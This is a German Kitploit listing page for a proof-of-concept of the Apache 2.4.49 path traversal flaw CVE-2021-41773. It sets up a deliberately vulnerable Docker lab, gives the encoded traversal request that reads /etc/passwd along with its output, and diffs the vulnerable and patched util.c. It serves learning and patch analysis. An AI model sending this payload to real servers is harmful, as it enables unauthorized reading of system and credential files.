Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-41773-i- — Proof-of-concept-Exploit für Apache HTTP Server 2.4.49 Path-Traversal (CVE-2021-41773) mit Docker-basierter Laborumgebung und Patch-Diff-Analyse. | Kitploit
Tools/GitHubGitHub/mightysai1997/cve-2021-41773-i-
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubmightysai1997/cve-2021-41773-i-

CVE-2021-41773-i-

Proof-of-concept-Exploit für Apache HTTP Server 2.4.49 Path-Traversal (CVE-2021-41773) mit Docker-basierter Laborumgebung und Patch-Diff-Analyse.

Repository anzeigen
1vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-41773

CVE-2021-41773 POC mit Docker

Konfiguration

Um die Datei httpd.conf anzupassen, ändern Sie Zeile 251 im Abschnitt <Directory /> von Require all denied zu Require all granted.

root@kitploit:~
<Directory />
    AllowOverride none
    Require all granted
</Directory>

Erstellen Sie ein Dockerfile in Ihrem Projekt

root@kitploit:~
FROM httpd:2.4.49
COPY ./httpd.conf /usr/local/apache2/conf/httpd.conf

Führen Sie dann die Befehle zum Erstellen und Ausführen des Docker-Images aus:

root@kitploit:~
$ docker build -t apache-pt .
$ docker run -dit --name apache-pt-app -p 81:80 apache-pt

Exploit

Senden Sie die folgende Anfrage mit BurpSuite Repeater.

root@kitploit:~
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
Host: localhost:81
User-Agent: Mozilla
Connection: close


Antwort:

root@kitploit:~
HTTP/1.1 200 OK
Date: Wed, 06 Oct 2021 02:32:09 GMT
Server: Apache/2.4.49 (Unix)
Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
ETag: "39e-5cceec7356000"
Accept-Ranges: bytes
Content-Length: 926
Connection: close

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

Patch-Version

Der Quellcode für Apache 2.4.49 (anfällig) und Apache 2.4.50 (gepatcht) kann jeweils von folgenden URLs heruntergeladen werden:

  • https://dlcdn.apache.org//httpd/httpd-2.4.49.tar.gz
  • https://dlcdn.apache.org//httpd/httpd-2.4.50.tar.gz
root@kitploit:~
$ wget https://dlcdn.apache.org//httpd/httpd-2.4.49.tar.gz
$ wget https://dlcdn.apache.org//httpd/httpd-2.4.50.tar.gz

Die Sicherheitslücke befindet sich in der Datei /server/util.c in Zeile 571, wo eine Validierung für Payloads vom Typ /xx/../ angewendet wird, nicht jedoch für /xx/.%2e/.

Der Unterschied zwischen dem anfälligen und dem gepatchten Code kann mit dem Befehl diff ermittelt werden.

root@kitploit:~
$ diff httpd-2.4.49/server/util.c httpd-2.4.50/server/util.c
505c505,506
<     apr_size_t l = 1, w = 1;
---
>     apr_size_t l = 1, w = 1, n;
>     int decode_unreserved = (flags & AP_NORMALIZE_DECODE_UNRESERVED) != 0;
532c533
<         if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
---
>         if (decode_unreserved
570,571c571,581
<                 /* Remove /xx/../ segments */
<                 if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
---
>                 /* Remove /xx/../ segments (or /xx/.%2e/ when
>                  * AP_NORMALIZE_DECODE_UNRESERVED is set since we
>                  * decoded only the first dot above).
>                  */
>                 n = l + 1;
>                 if ((path[n] == '.' || (decode_unreserved
>                                         && path[n] == '%'
>                                         && path[++n] == '2'
>                                         && (path[++n] == 'e'
>                                             || path[n] == 'E')))
>                         && IS_SLASH_OR_NUL(path[n + 1])) {
588c598
<                     l += 2;
---
>                     l = n + 1;
Tool herunterladen